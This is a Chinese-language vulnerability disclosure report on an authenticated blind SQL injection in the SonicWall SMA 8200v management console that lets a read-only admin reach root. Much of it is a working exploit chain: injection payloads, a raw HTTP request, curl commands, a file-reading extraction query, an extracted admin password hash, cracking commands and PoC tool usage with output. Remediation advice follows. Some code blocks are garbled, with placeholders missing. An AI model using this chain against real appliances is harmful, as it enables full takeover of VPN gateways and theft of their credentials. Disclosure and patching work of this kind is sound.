SonicWall SMA 8200v 管理控制台(端口 8443)中存在一个认证后的盲 SQL 注入漏洞,允许任何已认证的管理员——包括低权限的只读账户——从设备配置文件中提取主管理员账户的 SHA-512 密码哈希。由于 SonicWall 对管理控制台管理员和操作系统 root 账户使用相同的凭据,破解该哈希即可获得设备的完全 root 级访问权限。
分类: 权限提升(低权限管理员到 Root) CVSS 3.1: 7.2(高危)— AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 攻击复杂度: 低(自动化 PoC 约 60-90 分钟完成提取) 前提条件: 任意有效的管理控制台凭据(包括只读账户)
| 组件 | 详情 |
|---|---|
| 平台 | SonicWall SMA 8200v(虚拟设备) |
| 固件 | 12.5.0-02283(已确认);可能影响所有 12.x 版本 |
| 服务 | 管理控制台 — Jetty + Struts 2(端口 8443) |
| 端点 | POST /activeUsers.action |
| 易受攻击参数 | realmFilter、communityFilter(跨参数) |
| 根本原因类 | com.aventail.mgmt.sql.Sql.safeParam() |
| 数据库 | MariaDB 10.11.14,用户 DbAdmin(ALL PRIVILEGES + FILE) |
| 目标文件 | /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml |
管理控制台使用类 com.aventail.mgmt.sql.Sql 中的辅助方法 safeParam() 为 Active Users 仪表板构建 SQL 查询。该方法通过将单引号(')和双引号(")加倍来转义它们,但不转义反斜杠字符(\)。
在 MySQL/MariaDB 中,反斜杠是字符串字面量内部的默认转义字符。序列 \' 会使数据库将单引号解释为字面字符而非字符串终止符。这意味着参数值末尾的反斜杠将转义应用程序追加的闭合引号,导致 SQL 字符串字面量扩展到相邻语法中。
清理缺口:```
Input: test
safeParam output: test\ (backslash NOT escaped)
In SQL: ... rt.name='test') AND (ct.name='...'
^^ backslash escapes the closing quote
The closing `'` after `test\` is consumed as a literal quote character within the string, so the SQL string literal extends across the `) AND (ct.name='` boundary and into the next parameter's value, where attacker-controlled SQL can be injected.
### 3.2 注入机制:跨参数技术
`activeUsers.action` 端点接受多个过滤器参数,这些参数被插值到单个 SQL WHERE 子句中。相关参数为 `realmFilter` 和 `communityFilter`,它们出现在一个结构大致如下的查询中:```sql
SELECT ... FROM ...
WHERE ...
AND (rt.name='<realmFilter>')
AND (ct.name='<communityFilter>')
...
攻击参数设置:
| 参数 | 值 | 目的 |
|---|---|---|
realmFilter | test\ | 尾部反斜杠转义了闭合引号,使字符串字面量跨越 AND 边界延伸 |
communityFilter | )) OR (SELECT IF(<condition>,SLEEP(N),0))-- x | 闭合打开的括号,注入条件性 SLEEP,注释掉其余部分 |
插值后生成的 SQL:```sql WHERE ... AND (rt.name='test') AND (ct.name=' )) OR (SELECT IF(,SLEEP(N),0))-- x')
分解如下:
1. `rt.name='test\')` — `\` 转义了 `'`,因此字符串在此处并未闭合
2. `AND (ct.name='` — 成为字符串值的一部分(字面文本)
3. 字符串最终在下一个 `'`(来自 `communityFilter` 的开头)处闭合
4. `))` — 闭合 WHERE 子句结构中两个未闭合的括号
5. `OR (SELECT IF(...))` — 注入盲 SQL 注入条件
6. `-- x` — 注释掉剩余的 SQL(`')` 及其他子句)
### 3.3 基于时间的盲注提取
由于应用程序的 Struts 2 错误处理机制会优雅地捕获 SQL 异常(无论查询成功与否,始终返回 HTTP 200 及相同的页面内容),基于报错和基于 UNION 的提取方法均不可行。因此,该注入利用基于时间的盲注技术进行利用:
- **TRUE 条件:** `IF(<condition>, SLEEP(N), 0)` — 响应延迟为 SLEEP 时长乘以结果集行数
- **FALSE 条件:** 无 SLEEP — 响应在约 200-500ms 内返回
SLEEP 函数在 WHERE 子句求值过程中按行执行。由于典型的监控表包含 30-300+ 行,即使很小的 SLEEP 值(例如 0.3s)也能产生清晰可辨的延迟(TRUE 条件为 10-100s,FALSE 条件为 <1s)。
目标数据的每个字符均通过对 ASCII 范围进行二分搜索来提取:```sql
ORD(SUBSTRING((<extraction_expr>), <position>, 1)) > <midpoint>
此操作每个字符最多需要 7 次请求(log2(128) = 7),对于 98 字符的 SHA-512 哈希,总共约需 686 次请求。
PRIVILEGE ESCALATION CHAIN
============================================================================
[1] Authenticate Low-privilege admin (e.g., "readonly") | authenticates to management console on port 8443 | using "Local Authentication" realm v [2] SQL Injection Cross-parameter blind SQLi via activeUsers.action | realmFilter backslash + communityFilter payload | Condition: IF(, SLEEP(N), 0) v [3] LOAD_FILE() MariaDB DbAdmin user has FILE privilege | secure_file_priv=NULL does NOT block reads | avconfig.xml is group-readable (mode 664) v [4] Locate Hash LOCATE('consoleMode', file) anchors to admin section | LOCATE('', file, anchor) finds hash element | SUBSTRING + SUBSTRING_INDEX extracts hash value v [5] Extract Hash Binary search extracts hash char-by-char | ~98 chars * ~7 requests = ~686 requests | Output: $6$$ (SHA-512 crypt) v [6] Crack Hash hashcat -m 1800 / john --format=sha512crypt | Admin password = Root SSH password (by design) v [7] Full Compromise SSH as root, management console as admin Complete appliance takeover
### 4.2 步骤 1:身份验证
SMA 管理控制台支持两种身份验证域:
| 域 ID | 显示名称 | 用户 |
|----------|-------------|-------|
| *(空)* | 管理控制台 | 仅主管理员账户 |
| `AMCAuthRealm` / `本地身份验证` | 本地身份验证 | 辅助管理员账户(只读、自定义) |
该攻击仅需一个具有管理控制台访问权限的**任意**账户的有效凭据。“只读”账户——旨在仅提供监控访问权限、不具备配置更改能力——即已足够。
身份验证通过基于 J2EE FORM 的身份验证执行:
1. `GET /console.action` — 获取登录页面,从隐藏表单字段中提取 CSRF 令牌
2. `POST /j_security_check` — 提交 `csrfToken`、`j_username`、`j_password` 和 `realmId`
3. 成功时返回 HTTP 303 重定向,并建立 `JSESSIONID` Cookie
### 4.3 步骤 2:SQL 注入
身份验证后,攻击者向 `/activeUsers.action` 发送带有跨参数注入的 POST 请求:```
POST /activeUsers.action HTTP/1.1
Host: <target>:8443
Cookie: JSESSIONID=<session>
Content-Type: application/x-www-form-urlencoded
realmFilter=test\&communityFilter=)) OR (SELECT IF(1=1,SLEEP(0.3),0))-- x&userNameFilter=&zoneFilter=&platformFilter=&agentFilter=&agentVersionFilter=&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter
无条件 IF(1=1, SLEEP(0.3), 0) 通过观察 HTTP 响应中的可测量延迟,验证了注入是否有效。
MariaDB 数据库以操作系统用户 DbAdmin(uid=1001,gid=500 aventail)身份运行。该数据库用户拥有 ALL PRIVILEGES ON *.* WITH GRANT OPTION,包括 LOAD_FILE() 所需的 FILE 权限。
一个关键发现:尽管 MariaDB 配置设置了 secure_file_priv = NULL(这会阻止 INTO OUTFILE 和 INTO DUMPFILE 写入操作),但用于读取文件的 LOAD_FILE() 函数仍然完全可用。这是 MariaDB 一个已记录但鲜为人知的行为——secure_file_priv=NULL 限制了文件写入路径,但当用户拥有 FILE 权限时,并不会禁用文件读取。
目标配置文件 /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml 的所有者为 mgmt-server:aventail,权限为 664(rw-rw-r--)。由于 DbAdmin 操作系统用户属于 aventail 组,因此 LOAD_FILE() 可以读取该文件。
通过盲注 SQLi 进行验证:```sql -- Check file is readable (non-NULL) IF(LOAD_FILE(0x2f7573722f6c6f63616c2f...)...) IS NOT NULL, SLEEP(0.3), 0) -- TRUE: file is readable
### 4.5 步骤 4:在 avconfig.xml 中定位管理员哈希
`avconfig.xml` 文件(约 98KB)是设备的主配置存储库。它包含所有用户凭据,以 SHA-512 crypt 格式存储在 `<password>` XML 元素中。主管理员哈希位于一个 `<credentials_item>` 块中,该块靠近管理员部分独有的 `<consoleMode>` 元素。
提取过程不依赖硬编码的字节偏移量(如果管理员部分上方的配置发生变化,这些偏移量会失效),而是使用 MySQL 字符串函数动态定位哈希:```sql
SUBSTRING_INDEX(
SUBSTRING(
LOAD_FILE(<path>),
LOCATE('<password>', LOAD_FILE(<path>),
LOCATE('consoleMode', LOAD_FILE(<path>))
) + 10, -- skip past '<password>' tag (10 chars)
120 -- max SHA-512 crypt length
),
'<', -- trim at '</password>' closing tag
1
)
逻辑:
LOCATE('consoleMode', file) — 查找 consoleMode 字符串的字节偏移量,锚定到管理员配置部分LOCATE('<password>', file, anchor_offset) — 在该锚点之后查找第一个 <password> 标签SUBSTRING(file, tag_offset + 10, 120) — 提取哈希值(跳过 10 个字符的 <password> 标签)SUBSTRING_INDEX(result, '<', 1) — 在 </password> 结束标签处截断这种方法与位置无关,并且对文件中其他位置的配置更改具有弹性。整个表达式使用 MySQL 十六进制字面量(0x...)进行编码,以避免在注入上下文中出现引号问题。
哈希的每个字符通过二分搜索提取:```sql -- Is character at position P greater than midpoint M? IF(ORD(SUBSTRING((<hash_expr>),
, 1)) > , SLEEP(0.3), 0)
二分搜索每次请求将 ASCII 范围 [0, 127] 缩小一半:
| 步骤 | 范围 | 测试 | 结果 |
|------|-------|------|--------|
| 1 | [0, 127] | > 63? | TRUE → [64, 127] |
| 2 | [64, 127] | > 95? | FALSE → [64, 95] |
| 3 | [64, 95] | > 79? | FALSE → [64, 79] |
| ... | ... | ... | ... |
| 7 | [n, n] | 已收敛 | 字符 = chr(n) |
对于已知的管理员哈希(`$6$WHTK8ybQ$MchVNW...`),提取全部 98 个字符大约需要 686 次 HTTP 请求。
### 4.7 步骤 6:哈希破解
提取出的哈希采用标准的 SHA-512 crypt 格式:```
$6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0
| 字段 | 值 |
|---|---|
| 算法 | $6$ — SHA-512 crypt |
hashcat -m 1800 -a 0 admin.hash /usr/share/wordlists/rockyou.txt -O
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt admin.hash
### 4.8 步骤 7:完全入侵
SonicWall SMA 架构将管理控制台的管理员密码用作操作系统 root 密码。这是一个设计决策——当通过管理控制台设置或更改管理员密码时,该密码会同时应用于 Web 界面和底层 Linux root 账户。因此,破解管理员哈希可提供:
- **管理控制台(端口 8443):** 对所有配置、策略、用户管理和监控的完全管理访问权限
- **SSH(端口 22):** 对底层 Debian Linux 操作系统的 root shell 访问权限
- **串行控制台:** 用于物理/带外访问的 root 登录
---
## 5. 促成因素
多个架构决策叠加在一起,使该漏洞可以被利用:
### 5.1 不完整的 SQL 清理
`com.aventail.mgmt.sql.Sql` 中的 `safeParam()` 方法会转义引号,但不会转义反斜杠。这是一类众所周知的 SQL 注入——MySQL 的反斜杠转义行为自 2000 年代初以来就被记录为安全隐患。修复方法很简单:要么转义反斜杠(`\` → `\\`),要么设置 `NO_BACKSLASH_ESCAPES` SQL 模式,要么使用参数化查询。
### 5.2 权限过高的数据库用户
MariaDB `DbAdmin` 用户以 `ALL PRIVILEGES ON *.* WITH GRANT OPTION` 权限运行。这授予了远超应用程序实际需求的权限,包括:
- `FILE` 权限(LOAD_FILE、INTO OUTFILE)
- `SUPER` 权限
- `GRANT OPTION`(可创建新的超级用户账户)
应用程序只需要对其自身数据库的 SELECT/INSERT/UPDATE/DELETE 权限。过高的权限将 SQL 注入从数据提取转变为任意文件读取/写入。
### 5.3 secure_file_priv 配置错误
虽然 `secure_file_priv = NULL` 会阻止文件**写入**操作(`INTO OUTFILE`、`INTO DUMPFILE`),但它**不会**阻止文件**读取**操作(`LOAD_FILE()`)。这是 MariaDB 的文档化行为,但经常被误解。管理员和开发人员通常认为 `secure_file_priv = NULL` 会禁用所有文件 I/O,但它实际上只限制写入路径。
要完全禁用 `LOAD_FILE()`,必须从数据库用户处撤销 `FILE` 权限:```sql
REVOKE FILE ON *.* FROM 'DbAdmin'@'localhost';
包含所有密码哈希的 avconfig.xml 文件由 mgmt-server:aventail 所有,权限模式为 664。aventail 组包含 DbAdmin 操作系统用户(MariaDB 在该用户下运行)。这意味着数据库进程可以读取设备的 master 配置文件,包括所有存储的凭据。
更严格的权限模型(例如,由 mgmt-server:mgmt-server 所有的模式 600,或将哈希存储在仅管理应用程序可读的专用 secrets 文件中)将阻止 LOAD_FILE() 即使拥有 FILE 权限也能访问哈希。
为管理控制台管理员和操作系统 root 账户使用相同密码的设计决策意味着,从应用层提取管理员哈希可直接获得操作系统 root 访问权限。这消除了 Web 应用层与底层操作系统之间的任何边界。
管理控制台的“readonly”角色旨在提供仅监控访问,不具备配置更改能力。然而,activeUsers.action 端点对所有经过身份验证的用户(无论角色如何)以相同方式处理过滤器参数。只读账户可以执行与主管理员相同的 SQL 注入,因为该漏洞位于数据检索路径(列出/过滤活跃用户)中,而非配置更改路径中。
开发了一个全自动化的利用工具,并已针对实时目标进行了验证。
用法(只读账户 — 证明权限提升):```bash
python3 sma_admin_hash_poc.py
-t 10.10.185.35
--user readonly
--password <readonly_password>
--realm "Local Authentication"
-o admin.hash
-v
**执行阶段:**
1. **阶段 1:身份验证** — 使用指定的凭据和领域登录,获取 JSESSIONID
2. **阶段 2:验证** — 确认 SQLi 可用(SLEEP 计时),LOAD_FILE 能读取 avconfig.xml,且存在管理员哈希锚点
3. **阶段 3:提取** — 二分搜索逐字符提取完整的 SHA-512 哈希
4. **阶段 4:输出** — 以 hashcat 兼容格式写入哈希,并打印破解命令
**观察到的输出:**```
[*] Target: 10.10.10.35:8443
[*] User: readonly
[*] Realm: Local Authentication
[*] Phase 1: Authenticating to admin console...
[+] Authentication successful
[*] Phase 2: Verifying attack prerequisites...
[+] SQLi CONFIRMED - IF(1=1,SLEEP) triggered (16.7s)
[+] LOAD_FILE(avconfig.xml) - readable
[+] consoleMode anchor found in avconfig.xml
[+] Admin SHA-512 hash located in avconfig.xml
[*] Phase 3: Extracting admin password hash...
Extracting admin hash: $6$WHTK8ybQ$MchVNWPdTps...
无需 PoC 工具,也可以通过 curl 手动验证注入:```bash
curl -sk -c cookies.txt
"https://:8443/console.action" | grep csrfToken
curl -sk -b cookies.txt -c cookies.txt
-d "csrfToken=&j_username=readonly&j_password=&realmId=Local+Authentication"
"https://:8443/j_security_check"
time curl -sk -b cookies.txt
-d "realmFilter=test&communityFilter=test&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"
time curl -sk -b cookies.txt
--data-urlencode "realmFilter=test\"
--data-urlencode "communityFilter=)) OR (SELECT 1 FROM (SELECT SLEEP(5)) AS t)-- x"
-d "sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"
### 6.3 通过 MySQL CLI 直接验证 SQL
在拥有 root SSH 访问权限的情况下,可以直接验证 SQL 提取表达式:```sql
-- Verify LOAD_FILE reads the config (returns file size)
SELECT LENGTH(LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'));
-- Result: 98248
-- Extract admin hash directly
SELECT SUBSTRING_INDEX(
SUBSTRING(
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
LOCATE('<password>',
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
LOCATE('consoleMode',
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml')
)
) + 10,
120
),
'<',
1
) AS admin_hash;
-- Result: $6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0
| 影响 | 描述 |
|---|---|
| 机密性 | 可完全读取 aventail 组可读的所有文件,包括配置文件、凭据、证书和密钥 |
| 完整性 | 哈希破解后:完全的管理控制台访问权限可实现任意配置更改、策略修改和用户管理 |
| 可用性 | 根权限可实现服务中断、数据销毁或设备永久变砖 |
场景 1:内部威胁 / 最小权限违反 具有合法监控访问权限的只读管理员(SOC 分析师、审计员、初级工程师)可提升至完全管理员/根权限,绕过所有基于角色的访问控制。
场景 2:凭据泄露升级 获取任何管理控制台凭据(网络钓鱼、撞库、默认密码)的攻击者均可提升至根权限,无论被攻破账户的预期权限级别如何。
场景 3:网络跳板 对 SMA 设备的根访问权限可在网络边缘提供持久立足点。攻击者可拦截 VPN 流量、修改路由、访问内部网段,并从配置中提取所有 VPN 用户凭据。
参数化查询: 在整个管理控制台的 SQL 层中,将 safeParam() 中的字符串插值替换为预处理语句 / 参数化查询。无论字符转义如何,这都能消除注入漏洞。
撤销 FILE 权限: 从 DbAdmin 数据库用户中移除 FILE 权限: ```sql
REVOKE FILE ON . FROM 'DbAdmin'@'localhost';
FLUSH PRIVILEGES;
限制数据库权限: 对 DbAdmin 应用最小权限原则——仅授予应用程序所需特定数据库(monitoring、scheduler、troubleshooting)上的 SELECT, INSERT, UPDATE, DELETE 权限。
限制 avconfig.xml 权限: 更改文件所有者和权限,以防止数据库用户读取该配置: ```bash chown mgmt-server:mgmt-server /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml chmod 600 /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml
分离管理员与根凭据: 将管理控制台的管理员密码与操作系统根密码解耦。使用独立的凭据,并配备各自的更改/轮换机制。
基于角色的端点访问: 在应用层(而非仅在 UI/菜单层面)根据用户角色限制 activeUsers.action 端点(以及所有其他数据查询端点)的访问。
SQL 模式加固: 在 MariaDB 配置中设置 NO_BACKSLASH_ESCAPES,以全局禁用反斜杠转义解释: ```ini
[mysqld]
sql_mode = NO_BACKSLASH_ESCAPES,STRICT_TRANS_TABLES
哈希存储分离: 将密码哈希存储在专用文件或数据库表中,该存储对普通应用程序数据库用户不可访问,而不是存储在主 XML 配置文件中。
LOAD_FILE() 需要 FILE 权限;secure_file_priv 限制 SELECT ... INTO 但不限制 LOAD_FILE()NO_BACKSLASH_ESCAPES 时,\ 在字符串字面量中被视为转义字符$6$ 前缀,可配置轮数(默认 5000),86 字符 Base64 哈希输出$6$)| 盐值 | WHTK8ybQ |
| 轮数 | 5000(默认,未指定) |
| Hashcat 模式 | 1800 |
| John 格式 | sha512crypt |
| 日期 | 事件 |
|---|
| 2026-02-24 | 通过对 safeParam() 的静态分析识别出跨参数 SQL 注入 |
| 2026-02-24 | 使用管理员会话确认盲 SQL 注入(SLEEP 计时) |
| 2026-02-25 | 使用只读账户确认 SQL 注入(权限提升向量) |
| 2026-02-25 | 确认 LOAD_FILE() 在 secure_file_priv=NULL 情况下仍可运行 |
| 2026-02-25 | 确认 avconfig.xml 为包含 admin/root 哈希的凭据存储 |
| 2026-02-25 | 通过 MySQL CLI 验证 SQL 提取表达式 |
| 2026-02-25 | 使用 PoC 工具(sma_admin_hash_poc.py)确认完整自动化提取 |
| 2026-02-25 | 验证权限提升链:只读 -> admin/root 哈希 |